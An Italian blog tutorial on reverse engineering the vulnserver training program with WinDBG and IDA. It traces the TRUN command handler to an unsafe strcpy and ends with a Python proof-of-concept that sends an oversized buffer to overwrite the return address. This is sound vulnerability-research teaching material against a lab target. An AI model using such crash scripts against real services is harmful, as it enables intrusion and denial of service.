Il Reverse engineering indica l’analisi delle funzioni, dell’impiego e della modellazione di un software. Di fatto è l’atto di scomporre un software al fine di capirne il funzionamento senza avere però il codice sorgente.
Il software che utilizzeremo come esempio è vulnserver, software che abbiamo già visto in altri articoli. Senza utilizzare le informazioni online, analizzeremo manualmente il software con WinDBG e IDA al fine di trovare una vulnerabilità in esso.
Per poter fare Reverse Engineering è necessario avere diverse basi, che non tratterrò in questo articolo. Tempo fa ho scritto un articolo su IDA, mentre WinDBG ne abbiamo approfondito ogni aspetto nella serie Buffer Overflow. Per chi volesse approfondire, consiglio anche i seguenti libri.
Una volta che viene eseguito il programma, vediamo con TCPView che è in ascolto sulla porta 9999. Ciò significa che proabilmente accetta connessioni in entrata ed uscita.
Sebbene in questo caso è stato immediato capire quali comandi accetta, certi eseguibili utilizzano protocolli proprietari per comunicare e non è cosi immediato capire quali comandi (o byte accetta). A volte potrebbe essere necessario eseguire Wireshark, sniffare una comunicazione “benigna” (magari eseguendo qualche operazione sul programma) e ricrearla successivamente per poter trovare vulnerabilità.
Una delle prime azioni da fare è trovare la funzione che effettua il parsing dei comandi inviati (HELP, STATS, etc) in modo da analizzare il flusso. Per farlo, possiamo eseguire WinDBG, allegare vulnserver e cercare quali moduli utililizzano la funzione recv, ossia la ricezione di byte via rete.
0:004> x *!recv
75305e40 KERNELBASE!recv (void)
762123a0 WS2_32!recv (void)
Mettiamo un breakpoint sulla seconda funzione e continuiamo l’esecuzione di vulnserver
0:000> bp WS2_32!recv
0:000> bl
0 e Disable Clear 759d23a0 0001 (0001) 0:**** WS2_32!recv
0:000> g
Creo poi uno script di base inviando 500 A.
import struct
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT)
CRASH_LEN = 500 # change me
payload = b"A" * CRASH_LEN
with socket.create_connection(target) as sock:
sock.recv(512)
sent = sock.send(payload)
print(f"sent {sent} bytes")
Atterriamo sul breakpoint e guardando lo stack pointer possiamo vedere i parametri passati alla funzione recv.
0:000> g
ModLoad: 74840000 74896000 C:\Windows\system32\mswsock.dll
Breakpoint 0 hit
eax=000000d0 ebx=000000d0 ecx=00000002 edx=77102740 esi=00401848 edi=00401848
eip=759d23a0 esp=00dbf9c4 ebp=00dbff70 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
WS2_32!recv:
759d23a0 8bff mov edi,edi
0:003> dd esp L5
00dbf9c4 00401958 000000d0 00bb3558 00001000
00dbf9d4 00000000
Dallo Stack Pointer possiamo notare che:
Infatti guardando la funzione recv è composta da questi parametri:
int recv(
[in] SOCKET s,
[out] char *buf,
[in] int len,
[in] int flags
);
Andando avanti con il comando pt (fino al return della funzione) possiamo confermare i nostri dubbi e vedere il contenuto del buffer (00bb3558)
0:003> pt
eax=000001f4 ebx=000000d0 ecx=00000002 edx=00dbf9ac esi=00401848 edi=00401848
eip=759d24c9 esp=00dbf9c4 ebp=00dbff70 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
WS2_32!recv+0x129:
759d24c9 c21000 ret 10h
0:003> dd 00bb3558 L10
00bb3558 41414141 41414141 41414141 41414141
00bb3568 41414141 41414141 41414141 41414141
00bb3578 41414141 41414141 41414141 41414141
00bb3588 41414141 41414141 41414141 41414141
0:003> p
eax=000001f4 ebx=000000d0 ecx=00000002 edx=00dbf9ac esi=00401848 edi=00401848
eip=00401958 esp=00dbf9d8 ebp=00dbff70 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vulnserver+0x1958:
00401958 83ec10 sub esp,10h
Essendo usciti dalla funzione recv, siamo ora all’interno di vulnserver (vulnserver+0x1958). Ciò che si può fare per semplificare l’analisi è allineare IDA con il base address del modulo di vulnserver in modo da poter analizzare il binario contemporaneamente con IDA e WinDBG.
Per verificare dove siamo in IDA, bisogna fare prima il rebase del programma (Edit -> segment -> rebase program) inserendo l’indirizzo che troviamo guardando il base address
0:003> lm m vulnserver
Browse full module list
start end module name
00400000 00407000 vulnserver (no symbols)
Saltiamo alla funzione su cui siamo atterrati una volta finita la recv con G
00401958 83ec10 sub esp,10h
E ci troviamo alla stessa funzione che si vede in WindBG.
Questa funzione si divide in due:
Poiché noi abbiamo inviato 500 A, andremo a destra.
Proviamo a vedere passo passo su WinDBG cosa succede
0:004> p
eax=000001f4 ebx=000000cc ecx=00000002 edx=0100f9ac esi=00401848 edi=00401848
eip=0040195b esp=0100f9c8 ebp=0100ff70 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
vulnserver+0x195b:
0040195b 8985f0fbffff mov dword ptr [ebp-410h],eax ss:0023:0100fb60=0100fb1c
0:004> p
eax=000001f4 ebx=000000cc ecx=00000002 edx=0100f9ac esi=00401848 edi=00401848
eip=00401961 esp=0100f9c8 ebp=0100ff70 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
vulnserver+0x1961:
00401961 83bdf0fbffff00 cmp dword ptr [ebp-410h],0 ss:0023:0100fb60=000001f4
0:004> p
eax=000001f4 ebx=000000cc ecx=00000002 edx=0100f9ac esi=00401848 edi=00401848
eip=00401968 esp=0100f9c8 ebp=0100ff70 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
vulnserver+0x1968:
00401968 0f8e480b0000 jle vulnserver+0x24b6 (004024b6) [br=0]
Le assunzioni sono corrette, passiamo al branch di destra (br=0).
Continuando l’esecuzione con WinDBG vediamo che nel prossimo branch invece andiamo a sinistra e perdiamo il flusso che vorremmo seguire
0:004> p
eax=fffffff9 ebx=000000cc ecx=00000048 edx=00000000 esi=00401848 edi=00401848
eip=0040198b esp=0100f9c8 ebp=0100ff70 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
vulnserver+0x198b:
0040198b 7549 jne vulnserver+0x19d6 (004019d6) [br=1]
0:004> p
eax=fffffff9 ebx=000000cc ecx=00000048 edx=00000000 esi=00401848 edi=00401848
eip=004019d6 esp=0100f9c8 ebp=0100ff70 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
vulnserver+0x19d6:
004019d6 c744240804000000 mov dword ptr [esp+8],4 ss:0023:0100f9d0=00000005
Questo perché il nostro buffer viene comparato con la stringa “HELP”. Aggiorno quindi lo script inserendo “HELP” e rilancio mettendo un breakpoint su 0x4019D6
import struct
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT)
payload = b"HELP"
with socket.create_connection(target) as sock:
received = sock.recv(512)
print(received)
sent = sock.send(payload)
received = sock.recv(512)
print(received)
Ora siamo nel blocco in cui volevamo arrivare.
Le operazioni che fa sono molto simili a quelle di prima, ossia compara se il buffer è uguale alla stringa “HELP”. Se lo è, l’operazione “test eax, eax” setta la ZF a 1 e va al branch di sinistra (questo perché JNZ salta all’indirizzo solo se la ZF vale 0) altrimenti andrà a destra.
Ora che abbiamo più o meno capito come funziona e dove ci troviamo con IDA, proviamo ad osservare il quadro generale della struttura del codice. Ciò che vediamo nel grafico è un semplice if else sulla base dei comandi che inviamo.
In pseudo codice potrebbe essere all’incirca fatto in questo modo
if (comando_inviato == "HELP") {
//esegui questa funzione
} else if (comando_inviato == "STATS") {
//esegui quest'altra funzione
} else if (comando_inviato == "TRUN") {
//esegui questa funzione
} else if ....
Per capire dove si potrebbe trovare una vulnerabilità è sufficiente analizzare i vari branch contenenti i comandi, in modo tale da trovare qualche operazione che ci potrebbe interessare.
La prima funzione che accetta input dell’utente è TRUN, per cui partiremo da lei.
Metto un breakpoint su quel branch, aggiorno lo script inserendo il comando TRUN con qualche A e inviamo
import struct
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT)
CRASH_LEN = 5 # change me
payload = b"TRUN "
payload += b"A" * CRASH_LEN
with socket.create_connection(target) as sock:
received = sock.recv(512)
print(received)
sent = sock.send(payload)
received = sock.recv(512)
print(received)
Come prima, viene fatto un controllo sul comando inviato, se la ZF = 1 andrà nel branch negativo
0:003> p
eax=00000000 ebx=000000d4 ecx=004043f8 edx=00000005 esi=00401848 edi=00401848
eip=00401cf8 esp=00eaf9c8 ebp=00eaff70 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vulnserver+0x1cf8:
00401cf8 0f85dc000000 jne vulnserver+0x1dda (00401dda) [br=0]
0:003> p
eax=00000000 ebx=000000d4 ecx=004043f8 edx=00000005 esi=00401848 edi=00401848
eip=00401cfe esp=00eaf9c8 ebp=00eaff70 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vulnserver+0x1cfe:
00401cfe c70424b80b0000 mov dword ptr [esp],0BB8h ss:0023:00eaf9c8=00713558
Questo blocco sembra esser necessario solo ad allocare 3000 bytes (0BB8h) di memoria, quindi passiamo al prossimo sia con WinDBG che con IDA
0:003>
eax=00714968 ebx=000000d4 ecx=00000000 edx=00000030 esi=00401848 edi=00401848
eip=00401d38 esp=00eaf9c8 ebp=00eaff70 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
vulnserver+0x1d38:
00401d38 8b85e8fbffff mov eax,dword ptr [ebp-418h] ss:0023:00eafb58=00000005
0:003> dd ebp-418h L1
00eafb58 00000005
0:003> r
eax=00714968 ebx=000000d4 ecx=00000000 edx=00000030 esi=00401848 edi=00401848
eip=00401d38 esp=00eaf9c8 ebp=00eaff70 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
vulnserver+0x1d38:
00401d38 8b85e8fbffff mov eax,dword ptr [ebp-418h] ss:0023:00eafb58=00000005
0:003> p
eax=00000005 ebx=000000d4 ecx=00000000 edx=00000030 esi=00401848 edi=00401848
eip=00401d3e esp=00eaf9c8 ebp=00eaff70 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
vulnserver+0x1d3e:
00401d3e 3b45f4 cmp eax,dword ptr [ebp-0Ch] ss:0023:00eaff64=00001000
0:003> dd ebp-0Ch L1
00eaff64 00001000
0:003> p
eax=00000005 ebx=000000d4 ecx=00000000 edx=00000030 esi=00401848 edi=00401848
eip=00401d41 esp=00eaf9c8 ebp=00eaff70 iopl=0 nv up ei ng nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000287
vulnserver+0x1d41:
00401d41 7d45 jge vulnserver+0x1d88 (00401d88) [br=0]
In questo caso è un controllo per verificare se il contenuto del puntatore ebp-418h (che vale 5) è minore di del contenuto del puntatore ebp-0Ch (che vale 1000). Sembra essere l’inizio di un ciclo for, siamo appena entrati quindi si passa direttamente al branch a destra.
0:003> p
eax=00000005 ebx=000000d4 ecx=00000000 edx=00000030 esi=00401848 edi=00401848
eip=00401d43 esp=00eaf9c8 ebp=00eaff70 iopl=0 nv up ei ng nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000287
vulnserver+0x1d43:
00401d43 8b45f0 mov eax,dword ptr [ebp-10h] ss:0023:00eaff60=00713558
0:003> dd ebp-10h L1
00eaff60 00713558
0:003> da 00713558
00713558 "TRUN AAAAA"
0:003> p
eax=00713558 ebx=000000d4 ecx=00000000 edx=00000030 esi=00401848 edi=00401848
eip=00401d46 esp=00eaf9c8 ebp=00eaff70 iopl=0 nv up ei ng nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000287
vulnserver+0x1d46:
00401d46 0385e8fbffff add eax,dword ptr [ebp-418h] ss:0023:00eafb58=00000005
0:003> dd ebp-418h L1
00eafb58 00000005
0:003> r eax
eax=00713558
0:003> p
eax=0071355d ebx=000000d4 ecx=00000000 edx=00000030 esi=00401848 edi=00401848
eip=00401d4c esp=00eaf9c8 ebp=00eaff70 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
vulnserver+0x1d4c:
00401d4c 80382e cmp byte ptr [eax],2Eh ds:0023:0071355d=41
0:003> r eax
eax=0071355d
0:003> ? 0071355d - 00713558
Evaluate expression: 5 = 00000005
0:003> dd eax L1
0071355d 41414141
0:003> p
eax=0071355d ebx=000000d4 ecx=00000000 edx=00000030 esi=00401848 edi=00401848
eip=00401d4f esp=00eaf9c8 ebp=00eaff70 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
vulnserver+0x1d4f:
00401d4f 752d jne vulnserver+0x1d7e (00401d7e) [br=1]
Ora invece viene comparato il primo byte alla 5° posizione del mio buffer (quindi la prima A). Se è uguale al “.” (2E in HEX) si va al branch a destra, altrimenti a sinistra. Andando a sinistra, vediamo che farà un for loop senza fare nulla e poi uscirà dal programma. Poiché a noi interessa raggiungere il branch ancora più interno, ora sappiamo che in 5° posizione ci vuole un punto. Aggiorniamo lo script, mettiamo breakpoint in posizione 00401D38 e riavviamo
0:004> p
eax=00df4968 ebx=000000cc ecx=00000000 edx=00414141 esi=00401848 edi=00401848
eip=00401d74 esp=00fff9c8 ebp=00ffff70 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vulnserver+0x1d74:
00401d74 890424 mov dword ptr [esp],eax ss:0023:00fff9c8=00df4968
0:004> p
eax=00df4968 ebx=000000cc ecx=00000000 edx=00414141 esi=00401848 edi=00401848
eip=00401d77 esp=00fff9c8 ebp=00ffff70 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vulnserver+0x1d77:
00401d77 e88cfaffff call vulnserver+0x1808 (00401808)
0:004> t
eax=00df4968 ebx=000000cc ecx=00000000 edx=00414141 esi=00401848 edi=00401848
eip=00401808 esp=00fff9c4 ebp=00ffff70 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vulnserver+0x1808:
00401808 55 push ebp
Mentre la strncpy semplicemente copia il nostro buffer dentro un nuovo spazio di memoria (sebbene anche la strncpy non sia sicura), proviamo ad entrare nella Function3 per osservarne il funzionamento (con il comando t in WinDBG si fa Step Into, ossia uno step dentro la funzione. Se avessimo inviato p avrebbe fatto Step Over e l’avrebbe saltata).
....
0:003> p
eax=00d2f1e8 ebx=000000d4 ecx=00000000 edx=00414141 esi=00401848 edi=00401848
eip=00401821 esp=00d2f1d8 ebp=00d2f9c0 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
vulnserver+0x1821:
00401821 e8a2150000 call vulnserver+0x2dc8 (00402dc8)
Con WinDBG mi fermo alla strcpy e analizzo cosa contiene la memoria. Per prima cosa guardiamo lo stack, poiché la funzione strcpy è composta in questo modo:
char *strcpy(
char *strDestination,
const char *strSource
);
Sullo stack dovremmo avere un primo indirizzo con la destinazione e un secondo con la source.
0:003> dd esp L2
00d2f1d8 00d2f1e8 00b26938
0:003> dc poi(esp+4)
00b26938 4e555254 41412e20 00414141 00000000 TRUN .AAAAA.....
00b26948 00000000 00000000 00000000 00000000 ................
00b26958 00000000 00000000 00000000 00000000 ................
00b26968 00000000 00000000 00000000 00000000 ................
00b26978 00000000 00000000 00000000 00000000 ................
00b26988 00000000 00000000 00000000 00000000 ................
00b26998 00000000 00000000 00000000 00000000 ................
00b269a8 00000000 00000000 00000000 00000000 ................
E questo conferma che il contenuto di 00b26938 verrà copiato in 00d2f1e8. Ora per capire se abbiamo possibilità di sovrascrivere il return address, dobbiamo capire se :
Dumpiamo l’indirizzo di destinazione e con !teb vediamo se è dentro lo stack.
0:003> dd esp L1
00d2f1d8 00d2f1e8
0:003> !teb
TEB at 0031c000
ExceptionList: 00d2ffcc
StackBase: 00d30000
StackLimit: 00d2f000
E il primo punto l’abbiamo confermato, 00d2f1e8 è tra StackBase e StackLimit. Successivamente analizziamo la call stack con k.
Lo stack delle chiamate è la catena di chiamate di funzione che ci ha portato alla posizione attuale. La funzione più in alto nello stack delle chiamate è la funzione corrente, quella successiva è la funzione che ha chiamato la funzione corrente e così via.
0:003> k
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 00d2f9c0 00401d7c vulnserver+0x1821
01 00d2ff70 7587cf39 vulnserver+0x1d7c
02 00d2ff80 770926b5 KERNEL32!BaseThreadInitThunk+0x19
03 00d2ffdc 77092689 ntdll!__RtlUserThreadStart+0x2b
04 00d2ffec 00000000 ntdll!_RtlUserThreadStart+0x1b
Dumpiamo il contenuto di 00d2f9c0 per vedere dove si trova il return address.
0:003> dds 00d2f9c0 L2
00d2f9c0 00d2ff70
00d2f9c4 00401d7c vulnserver+0x1d7c
E facciamo la differenza tra il return address e l’inizio del buffer di destinazione (dove verrà copiato il nostro comando).
0:003> ? 00d2f9c4 - 00d2f1e8
Evaluate expression: 2012 = 000007dc
Quindi per poter sovrascrivere il return address dobbiamo inviare 2012 A + il comando “TRUN .”.
Aggiorniamo al volo l’exploit e verifichiamo!
import struct
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT)
CRASH_LEN = 2012 # change me
payload = b"TRUN ."
payload += b"A" * CRASH_LEN
with socket.create_connection(target) as sock:
received = sock.recv(512)
print(received)
sent = sock.send(payload)
received = sock.recv(512)
print(received)
Metto il breakpoint allo stesso punto in cui ero prima ed eseguo
.....
0:003> p
eax=00d2f1e8 ebx=000000cc ecx=00000000 edx=00004141 esi=00401848 edi=00401848
eip=00401821 esp=00d2f1d8 ebp=00d2f9c0 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
vulnserver+0x1821:
00401821 e8a2150000 call vulnserver+0x2dc8 (00402dc8)
Controllo di nuovo lo stack per verificare che ci sia tutto.
0:003> dd esp L2
00d2f1d8 00d2f1e8 00b28908
0:003> dc 00b28908
00b28908 4e555254 41412e20 41414141 41414141 TRUN .AAAAAAAAAA
00b28918 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00b28928 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00b28938 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00b28948 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00b28958 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00b28968 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00b28978 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0:003> dc 00d2f1e8
00d2f1e8 00000000 00000000 00000000 00000000 ................
00d2f1f8 00000000 00000000 00000000 00000000 ................
00d2f208 00000000 00000000 00000000 00000000 ................
00d2f218 00000000 00000000 00000000 00000000 ................
00d2f228 00000000 00000000 00000000 00000000 ................
00d2f238 00000000 00000000 00000000 00000000 ................
00d2f248 00000000 00000000 00000000 00000000 ................
00d2f258 00000000 00000000 00000000 00000000 ................
La call stack è ancora uguale a prima, questo perché la strcpy non è ancora stata eseguita.
0:003> k
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 00d2f9c0 00401d7c vulnserver+0x1821
01 00d2ff70 7587cf39 vulnserver+0x1d7c
02 00d2ff80 770926b5 KERNEL32!BaseThreadInitThunk+0x19
03 00d2ffdc 77092689 ntdll!__RtlUserThreadStart+0x2b
04 00d2ffec 00000000 ntdll!_RtlUserThreadStart+0x1b
0:003> dds 00d2f9c0 L2
00d2f9c0 00d2ff70
00d2f9c4 00401d7c vulnserver+0x1d7c
Faccio quindi uno step aggiuntivo
0:003> p
eax=00d2f1e8 ebx=000000cc ecx=00b290ec edx=00004141 esi=00401848 edi=00401848
eip=00401826 esp=00d2f1d8 ebp=00d2f9c0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vulnserver+0x1826:
00401826 c9 leave
0:003> k
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 00d2f9c0 41414141 vulnserver+0x1826
01 00d2fa5c 770ab94c 0x41414141
02 00d2fb10 748533dc ntdll!RtlpAllocateHeapInternal+0x13fc
03 00d2fb68 00000000 mswsock!__DllMainCRTStartup+0x8c
0:003> dds 00d2f9c0 L2
00d2f9c0 41414141
00d2f9c4 41414141
Ed ecco che abbiamo sovrascritto con successo il return address! Possiamo confermarlo continuando l’esecuzione:
Ora che è stato sovrascritto EIP basterà creare un exploit ad hoc sulla base delle protezioni e dei limiti dell’eseguibile. Per chi volesse approfondire ho scritto un'articolo a riguardo.
La capacità di effettuare il Reverse Engineering in maniera statica e dinamica è un ottimo modo per identificare gli entry point di un eseguibile e trovare eventuali vulnerabilità. Altri articoli che possono aiutare: